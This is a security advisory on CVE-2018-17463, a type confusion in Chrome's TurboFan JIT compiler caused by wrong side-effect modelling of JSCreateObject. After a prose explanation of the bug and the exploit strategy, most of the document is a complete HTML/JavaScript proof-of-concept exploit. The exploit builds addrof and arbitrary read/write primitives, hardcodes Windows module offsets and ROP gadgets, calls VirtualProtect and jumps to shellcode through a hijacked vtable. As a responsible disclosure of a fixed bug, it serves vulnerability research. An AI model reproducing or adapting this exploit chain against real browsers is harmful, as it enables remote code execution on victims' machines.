SSD Advisory – Chrome Type Confusion in JSCreateObject Operation to RCE
Credit to Author: SSD / Ori Nimron| Date: Mon, 29 Oct 2018 09:21:47 +0000
Vulnerabilities Summary
The following advisory discusses a vulnerability found in turbofan, the JIT compiler. We can trigger the JavaScript code in a way that leads to type confusion that can be exploited in order to execute code remotely on Google Chrome Versions 69.0 and before.
Vendor Response
Vendor has fixed the issue in Google Chrome version 70.
CVE
CVE-2018-17463
Credit
Independent security researcher, Samuel Groß, had reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
Google Chrome Versions 69.0 and before.
Vulnerability Details
In turbofan, the JIT compiler for v8, code is represented in a custom intermediate representation (IR) suitable for the various optimizations. To be able to detect and remove redundant checks, turbofan has to be able to model the side effects of all its IR operations. If this modelling is incorrect, safety checks, such as type checks, will incorrectly be removed from the emitted code, resulting in type confusions at runtime. See https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf for more information about this type of vulnerability. Turbofan assumes that the JSCreateObject operation, used for JavaScript code such as “let newObj = Object.create(proto)”, is completely side-effect free, as can be seen in the definition of the operation in js-operator.cc (the kNoWrite flag essentially means that the operation is sideeffect free):
This assumption is, however, not correct: when creating a new object with the given prototype object, this prototype object is modified if this is the first time that the object is used as a prototype. In particular, if the object had fast storage of properties before (all properties in a linear array), it will be converted to dictionary mode (properties stored in a hash map). However, due to the incorrect side-effect modelling, following JIT code still assumes that the prototype object has fast property storage. This leads to a type confusion between a PropertyArray and a NameDictionary when accessing properties of the prototype.
Exploit
The initial type confusion gained from the bug can be turned into a confusion between two properties of an object as both the PropertyArray and the NameDictionary store property values inline. As such, the code following the CreateObject operation might load a property X from the object but will actually load the value of property Y. This in turn can be used to construct additional type confusion primitives due to the fact that v8 traces the types of properties of an object. For example, v8 might know that some property will always contain a pointer to an object with a certain Map and will remove type checks based on that. When it then fetches a different property due to the bug, it might load a double value which it would then use as a pointer. The exploit constructs two type confusions to obtain arbitrary read/write of the process’ memory: The addrof function in the attached PoC exploit constructs a confusion between an unboxed double property and a JSObject pointer property, thus leaking the value of the pointer and defeating ASLR. The corrupt_arraybuffer function then constructs a confusion between an ArrayBuffer and an object with inline properties, allowing it to corrupt the pointer to the backing storage of the ArrayBuffer with an arbitrary address. This way the exploit obtains an arbitrary read/write primitive. Finally, a Blink object with a vtable is corrupted and a virtual call performed on it, leading to RIP control, the execution of a small ROP chain, and finally shellcode execution.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 | <!DOCTYPE html> <html> <head> <script> log = console.log; print = alert; // We need some space later let scratch = new ArrayBuffer(0x100000); let scratch_u8 = new Uint8Array(scratch); let scratch_u64 = new BigUint64Array(scratch); scratch_u8.fill(0x41, 0, 10); let shellcode = new Uint8Array(4); shellcode[0] = 0xcc; shellcode[1] = 0xbe; shellcode[2] = 0x20; shellcode[3] = 0x18; let ab = new ArrayBuffer(8); let floatView = new Float64Array(ab); let uint64View = new BigUint64Array(ab); let uint8View = new Uint8Array(ab); Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; function hex(n) { return ‘0x’ + n.toString(16); }; function fail(s) { print(‘FAIL ‘ + s); throw null; } const NUM_PROPERTIES = 32; const MAX_ITERATIONS = 100000; function gc() { for (let i = 0; i < 200; i++) { new ArrayBuffer(0x100000); } } function make(properties) { let o = {inline: 42} // TODO for (let i = 0; i < NUM_PROPERTIES; i++) { eval(`o.p${i} = properties[${i}];`); } return o; } function pwn() { function find_overlapping_properties() { let propertyNames = []; for (let i = 0; i < NUM_PROPERTIES; i++) { propertyNames[i] = `p${i}`; } eval(` function vuln(o) { let a = o.inline; this.Object.create(o); ${propertyNames.map((p) => `let ${p} = o.${p};`).join(‘n’)} return [${propertyNames.join(‘, ‘)}]; } `); let propertyValues = []; for (let i = 1; i < NUM_PROPERTIES; i++) { propertyValues[i] = –i; } for (let i = 0; i < MAX_ITERATIONS; i++) { let r = vuln(make(propertyValues)); if (r[1] !== –1) { for (let i = 1; i < r.length; i++) { if (i !== –r[i] && r[i] < 0 && r[i] > –NUM_PROPERTIES) { return [i, –r[i]]; } } } } fail(“Failed to find overlapping properties”); } function addrof(obj) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); return o.p${p1}.x1; } `); let propertyValues = []; propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj}; let i = 0; for (; i < MAX_ITERATIONS; i++) { let res = vuln(make(propertyValues)); if (res !== 13.37) return res.toBigInt() } fail(“Addrof failed”); } function corrupt_arraybuffer(victim, newValue) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); let orig = o.p${p1}.x2; o.p${p1}.x2 = ${newValue.toNumber()}; return orig; } `); let propertyValues = []; let o = {x1: 13.37, x2: 13.38}; propertyValues[p1] = o; propertyValues[p2] = victim; for (let i = 0; i < MAX_ITERATIONS; i++) { o.x2 = 13.38; let r = vuln(make(propertyValues)); if (r !== 13.38) return r.toBigInt(); } fail(“Corrupt ArrayBuffer failed”); } let [p1, p2] = find_overlapping_properties(); log(`[+] Properties p${p1} and p${p2} overlap after conversion to dictionary mode`); let memview_buf = new ArrayBuffer(1024); let driver_buf = new ArrayBuffer(1024); gc(); let memview_buf_addr = addrof(memview_buf); memview_buf_addr—; log(`[+] ArrayBuffer @ ${hex(memview_buf_addr)}`); let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr); let driver = new BigUint64Array(driver_buf); let original_memview_buf_ptr = driver[4]; let memory = { write(addr, bytes) { driver[4] = addr; let memview = new Uint8Array(memview_buf); memview.set(bytes); }, read(addr, len) { driver[4] = addr; let memview = new Uint8Array(memview_buf); return memview.subarray(0, len); }, readPtr(addr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); return memview[0]; }, writePtr(addr, ptr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); memview[0] = ptr; }, addrof(obj) { memview_buf.leakMe = obj; let props = this.readPtr(memview_buf_addr + 8n); return this.readPtr(props + 15n) – 1n; }, }; let div = document.createElement(‘div’); let div_addr = memory.addrof(div); //alert(‘div_addr = ‘ + hex(div_addr)); let el_addr = memory.readPtr(div_addr + 0x20n); let leak = memory.readPtr(el_addr); let chrome_child = leak – 0x40b5f20n; //print(‘chrome_child @ ‘ + hex(chrome_child)); // CreateEventW let kernel32 = memory.readPtr(chrome_child + 0x4771260n) – 0x20750n; //print(‘kernel32 @ ‘ + hex(kernel32)); // NtQueryEvent let ntdll = memory.readPtr(kernel32 + 0x79208n) – 0x9a9a0n; //print(‘ntdll @ ‘ + hex(ntdll)); /* 00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h] 00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h] 00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h] 00007ff9`296f0711 ffe2 jmp rdx */ let gadget = ntdll + 0xA0705n; //let gadget = 0x41414141n; let pop_gadgets = [ chrome_child + 0x36a657n, // pop rcx ; ret 59 c3 chrome_child + 0x9962n, // pop rdx ; ret 5a c3 chrome_child + 0xc72852n, // pop r8 ; ret 41 58 c3 chrome_child + 0xc51425n, // pop r9 ; ret 41 59 c3 ]; let scratch_addr = memory.readPtr(memory.addrof(scratch) + 0x20n); let sc_offset = 0x20000n – scratch_addr % 0x1000n; let sc_addr = scratch_addr + sc_offset scratch_u8.set(shellcode, Number(sc_offset)); scratch_u64.fill(gadget, 0, 100); //scratch_u64.fill(0xdeadbeefn, 0, 100); let fake_vtab = scratch_addr; let fake_stack = scratch_addr + 0x10000n; let stack = [ pop_gadgets[0], sc_addr, pop_gadgets[1], 0x1000n, pop_gadgets[2], 0x40n, pop_gadgets[3], scratch_addr, kernel32 + 0x193d0n, // VirtualProtect sc_addr, ]; for (let i = 0; i < stack.length; ++i) { scratch_u64[0x10000/8 + i] = stack[i]; } memory.writePtr(el_addr + 0x10n, fake_stack); // RSP memory.writePtr(el_addr + 0x50n, pop_gadgets[0] + 1n); // RIP = ret memory.writePtr(el_addr + 0x58n, 0n); memory.writePtr(el_addr + 0x60n, 0n); memory.writePtr(el_addr + 0x68n, 0n); memory.writePtr(el_addr, fake_vtab); // Trigger virtual call div.dispatchEvent(new Event(‘click’)); // We are done here, repair the corrupted array buffers let addr = memory.addrof(driver_buf); memory.writePtr(addr + 32n, original_driver_buf_ptr); memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr); } alert(“Press OK to pwn”); pwn(); </script> </head> <body> </body> </html> |